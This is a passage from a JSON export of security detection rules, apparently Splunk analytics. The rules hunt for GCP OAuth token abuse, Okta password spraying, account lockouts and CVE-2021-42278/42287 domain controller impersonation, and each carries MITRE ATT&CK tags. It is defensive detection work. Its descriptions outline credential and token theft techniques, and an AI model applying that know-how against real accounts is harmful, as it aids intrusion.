"FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "GCP Detect high risk permissions by resource and account", - "description": "This search provides detection of high risk permissions by resource and accounts. These are permissions that can allow attackers with compromised accounts to move laterally and escalate privileges.", - "search": "`google_gcp_pubsub_message` data.protoPayload.authorizationInfo{}.permission=iam.serviceAccounts.getaccesstoken OR iam.serviceAccounts.setIamPolicy OR iam.serviceAccounts.actas OR dataflow.jobs.create OR composer.environments.create OR dataproc.clusters.create |table data.protoPayload.requestMetadata.callerIp data.protoPayload.authenticationInfo.principalEmail data.protoPayload.authorizationInfo{}.permission data.protoPayload.response.bindings{}.members{} data.resource.labels.project_id | `gcp_detect_high_risk_permissions_by_resource_and_account_filter`", - "tags": { - "analytic_story": [ - "GCP Cross Account Activity" - ], - "asset_type": "GCP Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "gcp detect oauth token abuse", - "description": "This search provides detection of possible GCP Oauth token abuse. GCP Oauth token without time limit can be exfiltrated and reused for keeping access sessions alive without further control of authentication, allowing attackers to access and move laterally.", - "search": "`google_gcp_pubsub_message` type.googleapis.com/google.cloud.audit.AuditLog |table protoPayload.@type protoPayload.status.details{}.@type protoPayload.status.details{}.violations{}.callerIp protoPayload.status.details{}.violations{}.type protoPayload.status.message | `gcp_detect_oauth_token_abuse_filter`", - "tags": { - "analytic_story": [ - "GCP Cross Account Activity" - ], - "asset_type": "GCP Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Multiple Okta Users With Invalid Credentials From The Same IP", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta Multiple Users Failing To Authenticate From Ip`. This analytic identifies multiple failed logon attempts from a single IP in a short period of time. Use this analytic to identify patterns of suspicious logins from a single source and filter as needed or use this to drive tuning for higher fidelity analytics.", - "search": "`okta` eventType=user.session.start outcome.result=FAILURE | rename client.geographicalContext.country as country, client.geographicalContext.state as state, client.geographicalContext.city as city | stats min(_time) as firstTime max(_time) as lastTime dc(src_user) as distinct_users values(src_user) as users by src_ip, displayMessage, outcome.reason, country, state, city | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search distinct_users > 5| `multiple_okta_users_with_invalid_credentials_from_the_same_ip_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Okta Tenant", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "Multple user accounts have failed to authenticate from a single IP.", - "risk_score": 9, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - }, - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Okta Account Lockout Events", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta Multiple Accounts Locked Out`. The following anomaly will generate based on account lockout events utilizing Okta eventTypes of user.account.lock.limit or user.account.lock. Per the Okta docs site, this event is fired when a user account has reached the lockout limit. The account will not auto-unlock and a user or client cannot gain access to the account. This event indicates an account that will not be able to log in until remedial action is taken by the account admin. This event can be used to understand the specifics of an account lockout. Often this indicates a client application that is repeatedly attempting to authenticate with invalid credentials such as an old password.", - "search": "`okta` eventType IN (user.account.lock.limit,user.account.lock) | rename client.geographicalContext.country as country, client.geographicalContext.state as state, client.geographicalContext.city as city | stats count min(_time) as firstTime max(_time) as lastTime values(src_user) by displayMessage, country, state, city, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_account_lockout_events_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_ip", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "The following user $src_user$ has locked out their account within Okta.", - "risk_score": 25, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Okta Failed SSO Attempts", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with this detection `Okta Unauthorized Access to Application - DM`. The following anomaly identifies failed Okta SSO events utilizing the legacy Okta event \"unauth app access attempt\".", - "search": "`okta` eventType=app.generic.unauth_app_access_attempt | stats min(_time) as firstTime max(_time) as lastTime values(app) as Apps count by src_user, result ,displayMessage, src_ip | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_failed_sso_attempts_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "src_user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "$src_user$ failed SSO authentication to the app.", - "risk_score": 16, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Okta ThreatInsight Login Failure with High Unknown users", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta ThreatInsight Threat Detected`. The following analytic utilizes Oktas ThreatInsight to identify Login failures with high unknown users count and any included secondary outcome reasons. This event will trigger when a brute force attempt occurs with unknown usernames attempted.", - "search": "`okta` eventType=\"security.threat.detected\" AND outcome.reason=\"Login failures with high unknown users count*\" | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) by user eventType client.userAgent.rawUserAgent client.userAgent.browser outcome.reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_threatinsight_login_failure_with_high_unknown_users_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "outcome.reason", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Okta ThreatInsight has detected or prevented a high number of login failures.", - "risk_score": 50, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1110.004", - "mitre_attack_technique": "Credential Stuffing", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Chimera" - ] - } - ] - } - }, - { - "name": "Okta ThreatInsight Suspected PasswordSpray Attack", - "description": "**DEPRECATION NOTE** - This search has been deprecated and replaced with `Okta ThreatInsight Threat Detected`. The following analytic utilizes Oktas ThreatInsight to identify \"PasswordSpray\" and any included secondary outcome reasons. This event will trigger when a brute force attempt occurs with unknown usernames attempted.", - "search": "`okta` eventType=\"security.threat.detected\" AND outcome.reason=\"Password Spray\" | stats count min(_time) as firstTime max(_time) as lastTime values(displayMessage) by eventType client.userAgent.rawUserAgent client.userAgent.browser outcome.reason | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `okta_threatinsight_suspected_passwordspray_attack_filter`", - "tags": { - "analytic_story": [ - "Suspicious Okta Activity" - ], - "asset_type": "Infrastructure", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "outcome.reason", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Okta ThreatInsight has detected or prevented a PasswordSpray attack.", - "risk_score": 60, - "security_domain": "access", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.001", - "mitre_attack_technique": "Default Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "FIN13", - "Magic Hound" - ] - }, - { - "mitre_attack_id": "T1110.003", - "mitre_attack_technique": "Password Spraying", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT33", - "Chimera", - "HEXANE", - "Lazarus Group", - "Leafminer", - "Silent Librarian" - ] - } - ] - } - }, - { - "name": "Web Fraud - Anomalous User Clickspeed", - "description": "This search is used to examine web sessions to identify those where the clicks are occurring too quickly for a human or are occurring with a near-perfect cadence (high periodicity or low standard deviation), resembling a script driven session.", - "search": "`stream_http` http_content_type=text* | rex field=cookie \"form_key=(?\\w+)\" | streamstats window=2 current=1 range(_time) as TimeDelta by session_id | where TimeDelta>0 |stats count stdev(TimeDelta) as ClickSpeedStdDev avg(TimeDelta) as ClickSpeedAvg by session_id | where count>5 AND (ClickSpeedStdDev<.5 OR ClickSpeedAvg<.5) | `web_fraud___anomalous_user_clickspeed_filter`", - "tags": { - "analytic_story": [ - "Web Fraud Detection" - ], - "asset_type": "Account", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "threat", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Detect Excessive Account Lockouts From Endpoint", - "description": "The following analytic detects endpoints causing a high number of account lockouts within a short period. It leverages the Windows security event logs ingested into the `Change` datamodel, specifically under the `Account_Management` node, to identify and count lockout events. This activity is significant as it may indicate a brute-force attack or misconfigured system causing repeated authentication failures. If confirmed malicious, this behavior could lead to account lockouts, disrupting user access and potentially indicating an ongoing attack attempting to compromise user credentials.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Changes.user) as user from datamodel=Change.All_Changes where All_Changes.result=\"*lock*\" by All_Changes.dest All_Changes.result |`drop_dm_object_name(\"All_Changes\")` |`drop_dm_object_name(\"Account_Management\")`| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search count > 5 | `detect_excessive_account_lockouts_from_endpoint_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiple accounts have been locked out. Review $dest$ and results related to $user$.", - "risk_score": 36, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect Excessive User Account Lockouts", - "description": "The following analytic identifies user accounts experiencing an excessive number of lockouts within a short timeframe. It leverages the 'Change' data model, specifically focusing on events where the result indicates a lockout. This activity is significant as it may indicate a brute-force attack or misconfiguration, both of which require immediate attention. If confirmed malicious, this behavior could lead to account compromise, unauthorized access, and potential lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Change.All_Changes where All_Changes.result=\"*lock*\" by All_Changes.user All_Changes.result |`drop_dm_object_name(\"All_Changes\")` |`drop_dm_object_name(\"Account_Management\")`| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search count > 5 | `detect_excessive_user_account_lockouts_filter`", - "tags": { - "analytic_story": [ - "Active Directory Password Spraying" - ], - "asset_type": "Windows", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Excessive user account lockouts for $user$ in a short period of time", - "risk_score": 36, - "security_domain": "access", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.003", - "mitre_attack_technique": "Local Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT32", - "FIN10", - "FIN7", - "HAFNIUM", - "Kimsuky", - "PROMETHIUM", - "Tropic Trooper", - "Turla" - ] - } - ] - } - }, - { - "name": "Suspicious Computer Account Name Change", - "description": "The following analytic detects a suspicious computer account name change in Active Directory. It leverages Event ID 4781, which logs account name changes, to identify instances where a computer account name is changed to one that does not end with a `$`. This behavior is significant as it may indicate an attempt to exploit CVE-2021-42278 and CVE-2021-42287, which can lead to domain controller impersonation and privilege escalation. If confirmed malicious, this activity could allow an attacker to gain elevated privileges and potentially control the domain.", - "search": "`wineventlog_security` EventCode=4781 OldTargetUserName=\"*$\" NewTargetUserName!=\"*$\" | table _time, Computer, Caller_User_Name, OldTargetUserName, NewTargetUserName | rename Computer as dest | `suspicious_computer_account_name_change_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "sAMAccountName Spoofing and Domain Controller Impersonation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "OldTargetUserName", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A computer account $OldTargetUserName$ was renamed with a suspicious computer name on $dest$", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Kerberos Service Ticket Request", - "description": "The following analytic detects suspicious Kerberos Service Ticket (TGS) requests where the requesting account name matches the service name, potentially indicating an exploitation attempt of CVE-2021-42278 and CVE-2021-42287. This detection leverages Event ID 4769 from Domain Controller and Kerberos events. Such activity is significant as it may represent an adversary attempting to escalate privileges by impersonating a domain controller. If confirmed malicious, this could allow an attacker to take control of the domain controller, leading to complete domain compromise and unauthorized access to sensitive information.", - "search": " `wineventlog_security` EventCode=4769 | eval isSuspicious = if(lower(ServiceName) = lower(mvindex(split(TargetUserName,\"@\"),0)),1,0) | where isSuspicious = 1 | rename Computer as dest| rename TargetUserName as user | table _time, dest, src_ip, user, ServiceName, Error_Code, isSuspicious | `suspicious_kerberos_service_ticket_request_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Privilege Escalation", - "sAMAccountName Spoofing and Domain Controller Impersonation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious Kerberos Service Ticket was requested by $user$ on host $dest$", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - "Silent Librarian", - "Suckfly", - "Threat Group-3390", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Suspicious Ticket Granting Ticket Request", - "description": "The following analytic detects suspicious Kerberos Ticket Granting Ticket (TGT) requests that may indicate exploitation of CVE-2021-42278 and CVE-2021-42287. It leverages Event ID 4781 (account name change) and Event ID 4768 (TGT request) to identify sequences where a newly renamed computer account requests a TGT. This behavior is significant as it could represent an attempt to escalate privileges by impersonating a Domain Controller. If confirmed malicious, this activity could allow attackers to gain elevated access and potentially control over the domain environment.", - "search": " `wineventlog_security` (EventCode=4781 OldTargetUserName=\"*$\" NewTargetUserName!=\"*$\") OR (EventCode=4768 TargetUserName!=\"*$\") | eval RenamedComputerAccount = coalesce(NewTargetUserName, TargetUserName) | transaction RenamedComputerAccount startswith=(EventCode=4781) endswith=(EventCode=4768) | eval short_lived=case((duration<2),\"TRUE\") | search short_lived = TRUE | table _time, Computer, EventCode, TargetUserName, RenamedComputerAccount, short_lived | rename Computer as dest | `suspicious_ticket_granting_ticket_request_filter`", - "tags": { - "analytic_story": [ - "Active Directory Kerberos Attacks", - "Active Directory Privilege Escalation", - "sAMAccountName Spoofing and Domain Controller Impersonation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A suspicious TGT was requested was requested by $dest$", - "risk_score": 60, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1078", - "mitre_attack_technique": "Valid Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT33", - "APT39", - "APT41", - "Akira", - "Axiom", - "Carbanak", - "Chimera", - "Cinnamon Tempest", - "Dragonfly", - "FIN10", - "FIN4", - "FIN5", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Ke3chang", - "LAPSUS$", - "Lazarus Group", - "Leviathan", - "OilRig", - "POLONIUM", - "PittyTiger", - "Sandworm Team", - "Silence", - 